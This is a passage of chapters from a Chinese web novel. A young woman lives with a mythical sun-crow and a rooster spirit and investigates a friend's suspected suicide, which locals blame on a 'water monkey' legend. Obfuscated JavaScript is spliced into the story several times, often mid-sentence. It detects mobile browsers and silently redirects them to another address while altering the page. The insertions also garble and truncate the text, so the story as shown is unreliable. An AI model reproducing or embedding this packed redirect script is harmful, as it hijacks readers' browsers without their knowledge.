金乌幻想她被自己这突然口吐人言的行径惊住，匍匐在地，向它叩拜，却发现她只是笑了笑，把包放在椅子上，弯下腰，和它对视，然后感慨道：“原来是只小八哥呀。” “我是你大爷！”金乌被噎了一下，旋即怒斥。 王何驻愣了会儿，心想这八哥的前主人怎么教了这怪话给它，于是耐心地纠正道：“我是——小～八～哥。” “我是你大爷！”金乌气急败坏。 “我是小～八～哥～”王何驻不厌其烦地矫正它。 “我——是——你——大——爷！！！”金乌拔高了音量。 “我是小八哥。” “是你大爷！” “是小八哥。” “我说，我是你大爷！你个笨蛋！” “来，跟我念，我是小八哥。不许骂人。” “你大爷。” “小八哥。” “啊———” “……小八哥。” 王何驻和金乌牛头不对马嘴地杠了许久，把金乌逼到将一直藏在腹部羽毛里的第三只脚露了出来，狠狠地踩在台灯上。 呵，如果要展现出自己的与众不同，最好秀出更多的器官。金乌得意地想。 王何驻目露震惊，随后，这份震惊转为同情，金乌听见她道：“天呐，还是只基因突变的畸形八哥！” “你才基因突变！你才八哥！你个见识浅短的狂妄人类！”金乌怒了。 下一秒，它呆住了。王何驻怜悯地摸了摸它的脑袋，还念着什么：“要加油活着啊！” 这人居然把手放在它的头上，大不敬！金乌扭过脖子，用喙狠狠地叨了她的手。 第二天，王何驻神清气爽地起床，为怪鸟拍了张照，准备趁双休去附近张贴告示，帮这只八哥寻找主人，却见家中角落多了一只鸡，正是先前有过一面之缘的那只。 “咯咯哒！吾乃金乌——之近臣——唤醒太阳的神鸟——报晓使者——重明——的后代。”那鸡唱道。 王何驻终于意识到不对劲了。这鹦鹉怎么长得像只鸡！不对，它怎么找到她家的？ “所以，你们是传说中的金乌与重明。”在苦读“莎士比亚十四行诗”、用心钻研遣词造句的重明的加入下，王何驻总算弄明白了事情的起因经过。 “不，是独步天下、威震四海、睥睨群雄、气宇轩昂、风流蕴藉、力能扛鼎的金乌大人，咯咯哒，和肩负为众生唤起白昼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438734|169330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的崇高使命的神鸟重明的后代。” 金乌赞许地看了“重明”一眼。 “好吧。不对，金乌在这里，天上的太阳怎么办？” “你到底也不必因为吾的存在质疑起日心说。说白了我也只是人类观测太阳黑子运动时被赋予神格的。人类总会创造新的神灵托举太阳，但太阳就是太阳。”金乌不咸不淡道。 “这样啊，那我以后就叫你‘黑子’了。”王何驻的思维跳得很快。 “咯咯哒！你个大逆不道、僭越神明的人类，竟敢擅自为神，尤其是如此尊贵的金乌大神取名！”重明提出不满。 “随便你。”金乌打断了重明的质疑。 “我总是要和你们说话的，没有称呼很难办。”王何驻一本正经解释。 “你可以叫我‘驱逐黑暗的白昼歌者’，咯咯哒。” “我都叫‘黑子’了，你凭什么用这么酷的名字！”金乌不满了，“人类，你也得给他想个名字。” “我看你俩焦不离孟，孟不离焦，情谊深厚，量子纠缠，你叫‘黑子’，他就叫‘咯咯’吧。” “难听！换一个。”金乌驳回。想到要喊重明“哥哥”，不由恶寒。 “请为我想一个优美华丽、富有内涵的名字。”重明道。 “也对，于神鸟而言，这种名字还是太随便了。我想想怎么引经据典。嗯，正所谓，‘雄鸡一唱天下白’，你就叫‘小明’吧。” “不是，‘小明’这名字和你念的诗有什么关系啊？一个字都没用上吧！” “那叫‘小白’？” “还是‘小明’吧。”金乌终于发现了王何驻是个取名废的事实。 22. 间章·二 五德之禽·驱逐黑暗的白昼歌者·肩负唤醒太阳的崇高使命的神鸟·小明，是当之无愧的劳动模范。 过去与金乌一起进入“无何有之乡”、如今又散落各地的神灵异兽，数目之众、种类之多，令人金乌头疼。饶是王何驻不眠不休地去捉，她有生之年恐怕也是不能将那些神魂尽数带回的，何况这份工作于她而言只是兼职。金乌挑了其中比较棘手的神兽妖怪，让王何驻想办法摆平，而那些仅留下了被人“食之”“佩之”的记录的家伙，则交予重明解决。王何驻背上包出发时，重明也总是自高楼一跃而下，然后消失在灌木丛中，“咯咯哒咯咯哒”地奔赴自己的任务。 比起整日站在书桌上对他人工作指指点点、挑三拣四的金乌，王何驻其实非常尊重小明这位认真履行斩妖除魔的职责的同事。出于这份尊重，她最初并没有对小明总是在早上练嗓的行为进行约束管教，直到警察敲开她家的门。 “您好，您楼上的邻居举报您在城镇地区违规饲养家禽，涉嫌违反《市容环境卫生管理条例》，需要我们来处理一下。” “啊？哦哦，好的，非常抱歉。我今晚把它炖了。”王何驻拎起在脚边“咯咯哒”的重明，塞入厨房，然后飞速关上了厨房的门。 “我们将对你处以五十元的罚款。” “好的，稍等。”王何驻自认倒霉，掏出了钱包。 “嘎嘎——”看到王何驻窘迫的样子，站在门口鞋柜上的金乌忍不住发出嘲笑。 “女士，您似乎还有一只看起来并不在合法名单上的鸟。”金乌的笑声引来了注意，门外两个警察的视线都落在了金乌身上。 王何驻有些手足无措。 “我是小八哥。”金乌挺了挺胸，昂着头，理直气壮道。 “对对对，它是八哥，我不久前才捡的。” “八哥啊，看着不太像。”那警察摸了摸下巴，弯下腰，仔细观察着金乌。 “你大爷的，哪里不像了？我说是就是！”金乌将双翅支棱起来，怒道。 警察的视线从金乌转移到王何驻，那神色令王何驻心虚。 “它前主人教的脏话，与我一点关系也没有！”王何驻飞速割席。 “大胆，吾贵为神明，何来主人！” “我怀疑它前主人有点中二病，哈哈，你知道的，小说看多了是这样的。”王何驻尴尬地笑。 “如果未能找到原主的话，临时饲养八哥也需要及时向派出所报备。” “放肆！你竟对我使用‘饲养’一词，吾呜呜呜呜呜你干嘛——” “我这就给它放生了。”王何驻生怕金乌继续口吐狂言，一手捞起金乌 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“金乌上神精力充沛、身手敏捷、健步如飞，实在是吾辈之楷模。”王何驻“赞美”道，却还是下床找起了碘伏。 自那以后，王何驻尝试向他俩立规矩。就算心中口上俱有不服，小明和金乌也都学会了在外人面前深居简出，保持低调，可喜可贺。 23. 天问篇·一 恰逢春节假期收尾，正赶上各地游子复工复学的热潮，王何驻只抢到了无座车票，生生在嘈杂拥挤的火车车厢内站足了17个小时，又几经辗转，方才回到北京，一夜未曾合眼。 当她迷迷糊糊地回到租房所在的小区，上了居民楼，掏出钥匙，对着门锁转了半天，却发现无法顺利打开房门。几次尝试，俱是无果。困意影响了她的判断，她疑心是金乌玩心大发，做了手脚，怒气陡然生出，带着不爽用力地拍了拍门，节奏短促，声音却很大，一边拍着，一边喊道：“你这家伙，快给我开门！再不开门，就把你做成乌鸦炸酱面！” 门内传来了孩子惊惧的哭声。 王何驻退后两步，抬头看了眼门上的门牌号，才发现自己少走了一层楼。这对屋内的人来说可以算恐怖故事了。她小声道了歉，也不管里面的人是否听到，快步离了现场，匆匆跑到七楼。 入了门，放下行李，将扶桑叶化玉扔金乌，王何驻拿着睡衣闷头进了卫生间。洗掉一身“车厢味”后，她把自己埋入被窝，倒头就睡。 金乌见她睡着，识趣地叼着扶桑叶化玉飞到客厅。祂要狠狠地嘲笑这玉里的家伙。 在所有的魂魄中，窫窳算是祂的故交。在窫窳还是天神时，他们就已经相识。 金乌是帝俊与羲和的孩子。帝俊是彼时苍天意志的化身，其神格至高无上，可将众神视作臣下。当羲和驾着华贵的金色车辇驶过苍穹，向众生布施霄晖与恩惠时，由她亲手梳洗沐浴后的孩子总是端坐在母亲身旁，高傲地巡视着世间万物。神、兽，人均要抬头仰望太阳。 借居在王何驻家的这只金乌和祂的九个兄弟姐妹有些许不同，比起乘坐由六龙牵引的銮舆，祂更爱骑着猪在天空中招摇，大笑着撞碎云霞，留下殷红的傍晚。羲和见到了，总要掏出长鞭抽打祂，那猪便载着祂东逃西窜，搅云弄雨。不过，任凭祂使出千百种招数，最后总是逃不过母亲的处罚。羲和会抛出由七种颜色的云朵织造的绸缎，连猪带鸟将这俩爱耍无赖的家伙一起捆住。 作为天帝的宠臣，窫窳格外尊敬金乌，即使因人与神的阴谋堕落为兽，窫窳也选择躲在日光不到之处，藏起畸变的自己。直到金乌对世界降下来自日曜的神罚。 十日无道，约以偕现，烈火焚天，湖枯河歇，草木焦烬，禾稼无几，赤地千里，不见生机，枯骨横陈，民相食以充饥。为了镇压僭越者，巩固神的权威，凡间被神明拖入了炼狱，过去藏于影子中的妖邪精怪也在神明的默许下为虐四方，吞噬生命，窫窳是当年追随金乌作恶的凶兽之一。 神明试图向人类展示不可抗拒的伟力，失去神格复活为兽的窫窳只想宣泄自己的仇怨，祂满心的痛楚遇到了混乱的世道，惨案便降落到其他无辜生灵之上。 幸而人间有英雄羿，手持彤弓素缯，对准太阳，射九留一，又奔走于畴华、凶水、青丘、洞庭、桑林等地，诛杀凶兽，令其魂魄千年内无法再塑，就此平定了由十只金乌挑起的灾厄。许多人也受他感召，操起兵戈，决心与暴虐的神争夺世界。 黑子是自羿手下逃出的最后一只金乌，窫窳是被羿斩杀的六大凶兽之一，祂俩作为同一个英雄传奇里的大小反派，总是有许多共同话题的。 王何驻醒来的时候，黑子结束了和窫窳魂魄的交流，并将祂吞入腹中。 “你方才是不是在和窫窳蛐蛐我。” “你怎么知……知道这是根本不可能的事！”金乌矢口否认。 “你们果然在蛐蛐我！” “哼，我们在聊正事，大事，要紧事，蛐蛐你只是顺带的。” “什么大事？” “不……不告诉你。” “不死药？” “你怎么知道？！” “猜的。本来不是很确定。”王何驻耸耸肩。 王何驻看了眼时间，下了床，往冰箱里挑了些食物，随后走进厨房，预备做点吃的。黑子扇着翅膀，借力起飞，然后轻轻地落到了王何驻肩上。 “你想要‘不死药’药吗？”金乌问。 “我不想要。” “一点想法都没有吗？” “我说想要你会给我吗？” “不会。” “那你问什么。” “想看你破防。” “你想吃点什么。”王何驻拿起了菜刀，问道。 “麻辣香锅。” “好主意，今晚就吃可乐鸡翅。” “那麻辣香锅呢？” “我只是问你想吃什么，又没打算按照你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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王何驻意识到自己好像听到了一段非常血腥的家庭故事。 “我不知道怎么去形容祂、面对祂。” “懂了。你从来没有勇气和父亲坐在一起喝一杯酒，你怕看见父亲深邃的眼睛，父亲的眼睛是你这辈子最恐惧的东西，同样父亲的称赞是你这辈子最渴望的东西，父子如君臣，君臣相伴会长久，君要臣死臣不得不死……”王何驻开始吟诵她躲在被窝里熬夜背的梗。 “天呐，你简直说在了我的心坎上！”金乌双眼含泪道，祂感觉自己遇见了知音。 王何驻目带怜悯地用食指摸了摸金乌喙部与两眼间蓬起的细小绒毛，心里却笑作一团。 24. 天问篇·二 人与人之间的社交关系，总是基于血缘、地缘或者业缘展开的，若是将一个人置于社会关系中，多少会与他人结缘，无论是善缘还是孽缘。 王何驻是个不得不参与社会生活的普通人，所以无法避免由此产生的缘分。 她自幼时起便让人觉察到古怪了。这种古怪或许源自她的过度专注。因为专注于自己的事，所以离喜欢结伴而行的人总是存在距离。但是并非所有人能够理解这种旁若无人的专注，是以她总会成为增强某种小型团体凝聚力的牺牲品。 这种小型团体的组织者密切监视她的言行，然后按照他们的理解往能够激发更多人对她的厌恶的方式去解读，并加以传播，形成更广泛的恶意，并明里暗里地向她流露出来。他们总要让被他们针对的人知道他们正在针对她，又不肯真的明着表达，就像有露那什么癖一样。 像这样的小团体会诟病所有人，所以被他们选中为倾泻恶意的靶子没什么大不了的，他们的意见其实没有什么参考价值。在他们流传的诸多故事里，王何驻甚至一度没能反应过来自己就是那令人讨厌的主角，毕竟传得着实有些离谱，很多话她真没说过，或者根本不是她们所加工的那些意思。但也没什么大不了的，他们只会相信能够为他们带来餍足的言论，而不是事情本来的模样。 独自蹚过恶意并非容易的事，这群抱团取暖，只在小圈子中宣扬自己的主义的家伙，的的确确在很多人的心上窜了稀。即便是王何驻，在回忆起这些人的时候，都忍不住感慨，“真是到处给我添麻烦。” 但也有一种人，他们好像能够恰到好处地感知他人的情绪，与那些独行于群体之外的人同行一阵子。 在小团体的臆想与渲染下，王何驻离成为“杀人犯”就差真的杀人了，但是胡为秋愿意去接触这个看起来有些病气的人。 王何驻此行的目的地便是这位旧友的故乡。 “这个地方的魂魄，我总觉得熟悉，却辨认不出。祂的情况有些奇怪，好像已经死了，又好像还活着。等到重明回来，我会当祂去找你。你先自个儿到那看看吧。还是那句话，加油活着吧。”金乌站在门口告别。 “你这说了等于没说，朕要你何用！” “我可以帮你肝游戏。” 王何驻最近又迷上了一款新的抽卡游戏，还是那个让她吃了许多年大保底的公司出的产品。这款游戏在立绘和世界观上有了明显提升，王何驻被吸引了。 不过她抽卡依旧要仰仗游戏的保底机制，这意味着她需要想尽办法获得更多的抽卡道具，也意味着她得按照游戏公司制定的规则在其实没那么自由的环境里“自由地娱乐”。为了获得同等价值的东西，需要付出比旁人更多的努力，连虚拟世界的游戏都得遵循这种规则。 因为胡为秋，王何驻对这个地方有些好感。她走过石桥，看落日余晖在马头墙上映出鸟儿的影子，便想起这位朋友。 她温和、亲切，面庞清丽，笑容恬淡，独自一人时却总是心事重重。 她说话柔声细语，慢条斯理，尽管这些特征在那些小团体的话里，成了所谓的“茶里茶气”。 她们会聊很多事，但大多数话题，都是浅尝辄止。胡为秋是个好相处的人，但她不会像王何驻那样将自己的思考与感受诚实地说出来。 王何驻对她的印象停留在两件事上。一件事她对她说的故事。 古时候有个叫张公艺的人，治家有方，九世同堂，连他家的一百只狗，都要等其他狗到齐了，才会同槽而食。皇帝问他，可有什么妙法，让家宅安宁，亲族和睦。张公艺写了一百个“忍”字，交予圣上。皇帝看了，连连称道。得了上位者认可，民间便上行下效，将“百忍”的故事刻作木雕，装点厅堂。 一件就是她们关于“哭泣”的讨论。具体为何聊起，王何驻记不太清，只知那时，她告诉胡为秋，哭泣的意义在于告诉他人你灵魂的缝隙所在。这个世界上没有任何东西是值得为之流泪的，他们都会破坏你的精神世界的完整性。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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王何驻看着河水中倒映的夕阳，如是想到。风吹过河面，水波荡漾间，影子吞没了太阳。 25. 天问篇·三 王何驻坐在桌边，对面是胡为秋的母亲，她正坐在这一只木制火桶中，腿上盖了层毯子。 这里建筑多为砖木结构，空间虽大，墙体却薄，御寒效果不佳。皖南冬季阴冷，当地人便取约莫到膝盖高度的木桶一只，将底部挖空，火钵置于其下，中间有铁网隔火，平日只需往火钵中添炭加柴，人坐在桶上，半身入桶中，便可取暖。这里人认为，如果保住了足部的温暖，便能将寒气驱出体内，使身体康健。若得闲暇，会坐在桶上，与亲友邻里吃着零食干果，闲话家常。 胡为秋的母亲见到王何驻，不算极热情，却也尽了待客之道。她请她坐入火桶，自己则端上茶，又从用于储物防潮的锡罐中倒了点香榧与糖米糕，装入盘中，摆在桌上。王何驻谢绝入桶的邀请，只往长凳上坐下，又取了一块糖米糕，放入嘴中。糖米糕入口，酥脆香甜。 “你是胡为秋的同学？” “对。我来旅游，顺道看看胡为秋。她……”王何驻斟酌了一下修辞，发现想不到什么更委婉的说法，于是选择直接提出自己的疑惑，“她怎么死了。” “是‘水猴子’。”王何驻的直言不讳让胡为秋的母亲皱了下眉，却还是回答了她问题。 “‘水猴子’？”王何驻不自觉握紧了茶杯，杯中茶叶蜷曲，浮在水面上，“我听说‘水猴子’的故事，那不过是为吓唬小儿远水，编出来的故事，阿姨这番说，可是见到了什么，或者听说了什么。” “不是乱编的故事。胡为秋的性格你知道，她是不会轻易自杀的，更不可能得罪什么人、要害她性命，所以，是水猴子。”胡为秋的母亲说道，“我知道那种怪物，我的外婆讲过，有一种长毛的猴子模样的水怪，有四只耳朵，会把人拖入水中，用淤泥堵住人的口鼻，使人呼救不得，最终淹死。” 王何驻没有说话，只就着浮叶喝了口茶。 “‘水猴子’常年被困在水下。为了脱身，它们就抓住活人，将他们溺毙，替自己囚在河里，”胡为秋的母亲又道，“它们就是见不得别人好。” “阿姨，除了来自您外婆的说法，可有其他人，也曾见过这‘水猴子’，或者有其他说法。” “村里年长的，都知道‘水猴子’。 我们这在桥头卖臭豆腐的，他见过，我们把胡为秋捞上来后，他看了，就说，一定是‘水猴子’做怪。他现在应该还在桥头。 你往村口走，快出村的时候，会见到一户人家，这家是给别人宅院雕狮子的，他家老人也见过‘水猴子’，那老人说，‘水猴子’浑身长着毛，身体看起来既像猪，长着牛的尾巴。” “胡为秋生前，可有什么异样？比如，她是否向您流露过轻生的想法。”王何驻在心里对比了这个形象，未有头绪。怎么一会儿是“猴”，一会儿又成“猪”了。她暂时压住这方面的困惑，只问当下的事。 “你知道的，她考上了顶尖的大学，她的前途一片光明。”胡为秋的母亲语气有点不悦。 “她可是在学习上遇到了什么问题？大学宿舍里可有纠纷？又是否谈了恋爱。”王何驻的低情商让她总是能够无视他人的情绪，只问自己想要知道的信息，“或者，她平日与你的关系如何？” “胡为秋是个孝顺的孩子，她从不违逆我。她的成绩很好，也不可能和舍友有矛盾，更不会早恋。”即使已经上了大学，胡为秋的母亲以后将恋爱行为视为“绝对不可以”的“早恋”。 “您关注过她的心理方面的问题吗？嗯，我是说，如果她是失足落河，不可能选择在深夜三点出门，更不可能特地什么也不带。” “都说了是‘水猴子’。用梦蛊惑人，把人骗到水里，这对鬼怪来说，又不是做不到。 你这人，上来问那么多，横竖就是想说，她是自我了断的。 她和你关系好，有问题怎么不和你说，却来问我，好像我才是害她的罪人，”胡为秋的母亲地从火桶里站起来，声音中带着哭腔和怒气，“我还有活没干完，你先自便吧。” 王何驻坐在凳子上，心中满怀歉意，却不知如何是好。 她看了眼杯中的茶叶，茶叶已经舒展开来，沉入杯底。这种茶名为毛峰，茶水清透，入口甘甜，没有苦味，胡为秋曾经送过她一些。当然，她也送过其他人。那些人接了茶，说她不愧是“茶姐”，然后彼此之间因为这种已经形成默契的符号，笑得东倒西歪。那些人总是这样，根据一些事，在团体中造点你知我知的梗，把它抽象为某种符号，然后在其他时候，当作什么也不知道地说出来，一群人跟傻子似的一起乐。如果你听懂了，知道她们在取笑你，你生气了，去质问他们，他们还要充愣，说你敏感。这是一种只属于小圈子的互动方式，其他不知道来龙去脉的人，反而会觉得正在遭受隐性伤害的你反应过激，有些莫名其妙。胡为秋是个体面的人，她从来不会向王何驻那样直接拍着桌子问他们什么意思，以免惹得更多人厌烦。 王何驻不知所措，望了望内户，胡为秋的母亲方在离了客厅，入了后院，留王何驻一个人坐在前厅。她想了想，还是走到入后院的门口，向里面打了声招呼：“您忙着，我先走了。” 她出了胡为秋家，此时天空格外亮堂。 她往村口走去，快出村时，果然看到一家精致的宅子。那宅子门前台阶极为广阔，放了许多大小不一的石狮子，都是一个造型，模样憨态可鞠。她跨过那些石狮子，走到这户人家门前，敲了敲门，却不见答复。 这屋主人不在家中。 她出了村，入眼是一条宽阔的大河，河岸有许多挺水植物。那河格外清澈，流速缓慢，站在河边，可以看到潜水区河床上的石头。石头上长了些藻类，若是踩在上面，脚底打滑，跌入水中，也是极可能的事。 王何驻查探着河水四周的环境，没有发现异样，正欲离开，隐约听到有人喊她的名字。她回头环顾，却见四下无人，日头正好。 她没有理会这声音，只自顾自离开河岸，上了桥。这桥很长，她走了大约十分钟，在桥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438738|169330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头看到一小摊，正是卖臭豆腐的。 摊主听说她要买点臭豆干，热情地掀开塑料盒上盖着豆腐的布，让她挑几块。那豆干外表是灰黑色的，泛着点绿，闻起来并不臭，甚至有些独特的浓郁的豆香。据说制作这种豆干，需要用到芝麻秸杆烧成的灰。 “嗯，随便给我切几块就好，它可以直接吃的吧？”王何驻问道。 “可以直接吃，不过若是拌点辣椒酱进去，会更香。” 趁摊主忙活，王何驻借机问出自己的问题：“听说你们这有‘水猴子’？” “‘水猴子’啊，有的。我还见过呢。” “它长什么模样。” “覆着鳞甲，在地上爬。”卖豆干的人笑笑，随口道。 “不长毛吗？” “‘水猴子’，就是鳄鱼呀。”卖豆干的头也没抬。 “你们这之前不是死了个人，说是‘水猴子’作恶，把人害了。” “你说胡家的女儿啊？我瞎说的。你看她妈，哭成那样，我不得安慰人家吗。这家闺女怕是轻生，若是因为家里那些长短，也不好直接说。” “……”王何驻接过塑料袋装着的臭豆干，不知作何回复。 她走在路上，嚼着臭豆干，那豆干有着奇香，口感醇厚，咸淡适中。王何驻游览各地，尝过许多美食，都未曾吃到如此美味的豆干，放佛只有这里的植物、这里的水、这里的人，才能做出这样的味道。不过，她此刻心事重重。 回到宾馆，王何驻掏出了变成金色的羽毛，将“叽里咕噜，小鸟打呼”咒念了一遍，却不见“山海生灵图”有任何反应。 她将水泼在“山海生灵图”上，山海生灵图依旧没有什么变化。没有“纵横十五图”为她指明方向。 王何驻尝试了许多遍，最后只得悻悻地收起羽毛和绢帛。之前金乌告诉她，重明会来找自己，到时候再问问重明吧。 她取出手机，躺着床上，仔细查看着胡为秋发在个人空间里的动态。 可惜，胡为秋没怎么往私人空间里发过长篇小作文，多是没有文字的风景照。 一张分享的游戏抽卡的晒卡页面吸引了王何驻，正是她最近迷上的那款游戏。 王何驻连忙上线，登录游戏，挤掉了正在家中替她肝游戏素材的金乌。 她将胡为秋分享的晒卡页面边角的游戏ID输入“好友申请”中，找到了她过去使用的游戏账号。 点开那游戏账号的主页，只见那账号昵称是简单的“秋”，个性签名只有一行字：对不起，没有成为您的骄傲。 王何驻随意看了眼她的抽卡角色展示页面，没几个五星，但是角色练度都挺高，看来生前也被这游戏工厂制定的规则玩弄于鼓掌之间。 不过，王何驻仔细阅读着这行个性签名，心里想道，明日又得去一趟胡为秋家，继续叨扰她的母亲。 “阿嚏——”王何驻没忍住打了几个喷嚏，应该是金乌因为游戏被挤下线，正呆在家里骂她。 26. 天问篇·四 王何驻醒来后，立刻上线游戏，查看自己账号的个性签名。 她只给金乌留了个平板电脑，还没来得及再安排张手机卡，为金乌也注册个微信账号，是以只能通过更改游戏个性签名的方式的方式与金乌取得沟通。 “山海生灵图没有作用，怎么办”。她昨日晚上将自己的个性签名改成以上文字。 “问小明”。金乌的回答十分敷衍。 “小明在哪？什么时候来？”王何驻指尖带着怒意，将“问小明”三个一个一个删掉，然后写上自己的问题。 金乌没有回复，大概要到晚上，才会登录她的游戏账号。 王何驻背上包，再一次寻去胡为秋家。 路过村口的时候，见雕石狮子的那户人家开了门，王何驻便径直入内。 “你来看狮子，订狮子，还是取狮子？”门内狮子坐满庭院，一人在狮群中缓缓起身，回头问道，他是个老人。 “我不是来问狮子的，我来问猴子，水猴子。”王何驻回道。 那老人迈着不疾不徐的步子，穿越大大小小的狮子，走到王何驻身前，打量着她。 “你要问什么？” “您可知道它的来历，又可曾见过它的模样。” “若你问的是‘毛人水怪’，那不过是鬼怪心肠的人披着鬼怪的皮囊吓人。 妇人不愿意丈夫离家去修水利，便用这话拦人；长辈管教孩子远水，便借鬼神的权威吓唬他们；窃贼淫贼要入户行不轨之事，便扮作怪物将人引出屋外，后来又将自己做的坏事，全丢给鬼怪。 若问这谣传自何而来，不还是几个想要动摇秩序的歹人起的。只是舌下那三两功夫，竟也叫人心惶惶，还借着人的力，害死了不少人。” “可你见过它。” “我大概是见过的，在河边，我见着一只两个脑袋的怪物，浑身覆了泥，辨不出模样。听声音，或许是只猪。 我最初还信‘毛人水怪’的说法的时候，就把它当作了‘毛人水怪‘，虽然害怕，却忍不住到处和人炫耀，叫大家一起害怕。我心里又怕，又得意。 可我最后终于知道那‘毛人水怪’是个何等荒唐的谣言了。 至于我见过的那东西，模样虽然奇怪，便只当它是头大野猪吧。” 王何驻觉得眼前这老人说话腔调独特，便忍不住和他扯了点关于石狮子的事。 “你雕的狮子，看起来不像狮子。” “像什么？” “像猪或者狗。” “你说的对。我孙子曾经带我去过动物园，我见到了真正的狮子，原来竟长那模样。可我虽然知道了狮子的长相，却不能照着它雕，毕竟，我这门手艺，传承自我的父辈。 狮子不是这里的生物，便是王孙贵族，都需要费许多功夫，才能从西域引入狮子。 养狮子，还要喂它们肉吃。人只要喝白粥，猪只要吃猪草，狗只要啃骨头。这祖宗，谁伺候得起。 传我手艺的父辈，只是普通人，哪里见过什么狮子。 那些商人又要石狮子装点自己宅子，我父辈便只能以猪或者狗为样本，照着商人的描述，随便刻了。 那些商人竟然也没挑剔，还喜欢得紧，我怀疑，他们也没见过狮子。哈哈！” “你既然见到了真正的狮子，为何不对这门手艺进行改良，让它们更像狮子。” “我们坐在家中，只听得他人的传言，便刻出了未曾见过的奇物，这便是魂，那形怎么样，像什么，又如何呢？ 反正机器刻的狮子只会比我刻的更像，买我狮子的又不是为了买只逼真的狮子才来买的。你懂什么是手艺？什么是传承？什么是非遗？”刻狮子的匠人开始扯淡，啊不，给自己上价值。 王何驻心里有七八分认同，又随意攀谈几句，才向他告别。 她又厚着脸皮坐进了胡为秋母亲的家。 “你又来做什么。” “我发现了胡为秋的遗言。” “什么？” “她说她很遗憾，没能成为您的骄傲。” 胡为秋的母亲沉默了一会儿，问道，“你什么意思？” “村里卖豆腐的、刻狮子的，我都去问了，他们没见过您说的那种‘水猴子’。您在拿‘水猴子’害人的传说，安慰自己。” “对，对，没有‘水猴子’，我才是害死她的人，我是真正的‘水猴子’，你高兴了吧？”胡为秋的妈妈眼眶通红，眼球突出，眼泪砸落在地上。她指着自己，歇斯底里。 “不。我不是这个意思。我相信胡为秋是敬爱您的，她的遗憾甚至只是未能让您骄傲，造成这遗憾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“他在哪上的课？如何报他的班？” “就在睦和村。我有他助教的微信，找他可以报班。” “帮我也报一个吧。”王何驻对胡为秋的母亲说道。 胡母看到这位一直以来都没有流露过什么特别情绪的年轻客人突然笑了下，那笑有些讥诮的意味。 27. 天问篇·五 “小明在抓水猴，这家伙遇到大麻烦了，你自个儿加油吧。乐。” 王何驻走在路上，掏出手机，登录游戏，发现金乌已经上号给她留了言。新的留言内容，只有短短一行字，却让她的面部表情出现了裂痕。 这里竟还是存在“水猴子”的？这个“水猴子”究竟是何方神圣？重明又是什么情况？ 王何驻思考着水猴子、山海生灵图、“魁星生命力”种种，一时间思绪混乱，只觉得自己陷入了迷途。她实在想在解决完流落此地的神魂后，去处理胡为秋的事，会一会那个名为张魁的“大师”，只是眼下收魂的任务却没有丝毫进展。 金乌留言最后的“乐”字激发了她的表达欲，她往个性签名里写了三百字分析糟糕现状的小作文，其中两百多字是对金乌作壁上观、毫无合作精神的控诉。王何驻飞速打完字，点击“完成提交”，却被字数超过最大限制的提示打断，只愤愤下了线。 她走在返回宾馆的路上，抬头望天，心下有些茫然。路边的几个算命摊子传来交谈声，吸引了她的注意。 此地附近是城乡巴士停泊处，又邻近菜场，人流量大，是以沿街桥上总坐一排相师卦姑。一张铺在地上的广告纸，两只矮凳，算命的一只，空一只留给客人，便成了基本的生意布置。 “您这八字多‘正官’‘正印’，又有国印、文昌贵人相助，将来可是能当官的，正所谓‘长风破浪会有时，直挂云帆济沧海’，平步青云，指日可待。” “不对啊……” “哪里不对了，我干这行许多年了，您这通身气度，一看就不是普通人家。” “我爸还在监狱里蹲着呢，怎么考公？” “……咳咳，我再看看……嗯，依我所见，你本来是要当官的，只是被‘枭神夺食’了，诶诶，别走，你钱还没付我呢。” 那算命师傅不过中年，皮肤黝黑，认真作了道士打扮，一身深蓝色卦袍，束了发，看起来像模像样。 王何驻见他面前凳子空了，便上前坐下。 那道士看来了新客人，又堆起笑来，向王何驻讨了生辰八字，便排起命盘。 王何驻只静静坐着，看他推算。 好一会儿，那道士才抬起头，目光炯炯地盯着王何驻。 “你可愿修道？” “不愿意。”王何驻果断拒绝。 “我看八字那么多年，第一次见到如此适合修行的命格。你六缘亲浅，华盖入命，却是专旺之格，太极贵人、童子煞、空亡，一个不缺。” “你不但要我‘算命钱’，还要我付你额外的学费。” “钱财乃身外之物，在下只是起了惜才之心。” 王何驻摇了摇头，扫码付了卦金，在蓝衣道人的挽留声中转身离去。 “这八字的神煞里，‘十恶大败’，是什么意思？”那蓝衣道人的算命摊旁边，是个白衣卦姑摆的摊。一位年轻女子掏出手机，指着上面的排盘网页，向坐在她对面的卦姑询问，这女子长相清秀，衣着整洁干净，脸色却有些灰败。 